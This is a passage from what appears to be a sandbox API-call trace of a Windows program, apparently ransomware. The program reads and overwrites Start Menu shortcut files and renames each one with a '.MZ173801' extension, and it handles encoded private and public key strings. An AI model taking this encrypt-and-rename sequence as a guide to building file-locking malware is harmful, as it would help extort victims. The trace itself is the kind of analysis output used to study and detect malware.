lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0212.757] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0212.757] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x4bf [0212.757] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0212.757] ReadFile (in: hFile=0x330, lpBuffer=0x24c8dd0, nNumberOfBytesToRead=0x4bf, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24c8dd0*, lpNumberOfBytesRead=0x19f480*=0x4bf, lpOverlapped=0x0) returned 1 [0212.760] CloseHandle (hObject=0x330) returned 1 [0212.760] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\remote desktop connection.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0212.761] WriteFile (in: hFile=0x330, lpBuffer=0x24cae00*, nNumberOfBytesToWrite=0x4bf, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24cae00*, lpNumberOfBytesWritten=0x19f48c*=0x4bf, lpOverlapped=0x0) returned 1 [0212.762] CloseHandle (hObject=0x330) returned 1 [0212.762] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\remote desktop connection.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Remote Desktop Connection.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\remote desktop connection.lnk.mz173801")) returned 1 [0212.763] GetCurrentThreadId () returned 0xab4 [0212.763] GetCurrentThreadId () returned 0xab4 [0212.763] GetCurrentThreadId () returned 0xab4 [0212.763] GetCurrentThreadId () returned 0xab4 [0212.763] GetCurrentThreadId () returned 0xab4 [0212.763] GetCurrentThreadId () returned 0xab4 [0212.763] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c8ce781, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c8ce781, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x46e, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Snipping Tool.lnk", cAlternateFileName="")) returned 1 [0212.763] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0212.763] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0212.763] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\snipping tool.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c8ce781, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c8ce781, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x46e)) returned 1 [0212.763] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\snipping tool.lnk")) returned 0x20 [0212.763] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk", dwFileAttributes=0x80) returned 1 [0212.766] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0212.766] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0212.767] GetCurrentThreadId () returned 0xab4 [0212.767] GetCurrentThreadId () returned 0xab4 [0212.767] GetCurrentThreadId () returned 0xab4 [0212.767] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0212.768] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0212.768] GetCurrentThreadId () returned 0xab4 [0212.768] GetCurrentThreadId () returned 0xab4 [0212.768] GetCurrentThreadId () returned 0xab4 [0212.768] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\snipping tool.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0212.768] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0212.768] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0212.768] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x46e [0212.768] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0212.768] ReadFile (in: hFile=0x330, lpBuffer=0x24d0100, nNumberOfBytesToRead=0x46e, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f480*=0x46e, lpOverlapped=0x0) returned 1 [0212.770] CloseHandle (hObject=0x330) returned 1 [0212.771] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\snipping tool.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0212.772] WriteFile (in: hFile=0x330, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0x46e, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f48c*=0x46e, lpOverlapped=0x0) returned 1 [0212.773] CloseHandle (hObject=0x330) returned 1 [0212.773] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\snipping tool.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Snipping Tool.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\snipping tool.lnk.mz173801")) returned 1 [0212.774] GetCurrentThreadId () returned 0xab4 [0212.774] GetCurrentThreadId () returned 0xab4 [0212.774] GetCurrentThreadId () returned 0xab4 [0212.774] GetCurrentThreadId () returned 0xab4 [0212.774] GetCurrentThreadId () returned 0xab4 [0212.774] GetCurrentThreadId () returned 0xab4 [0212.774] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x378897b7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x378897b7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x378897b7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x448, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Steps Recorder.lnk", cAlternateFileName="")) returned 1 [0212.774] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0212.774] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0212.775] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Steps Recorder.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\steps recorder.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x378897b7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x378897b7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x378897b7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x448)) returned 1 [0212.775] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Steps Recorder.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\steps recorder.lnk")) returned 0x20 [0212.775] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Steps Recorder.lnk", dwFileAttributes=0x80) returned 1 [0212.777] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 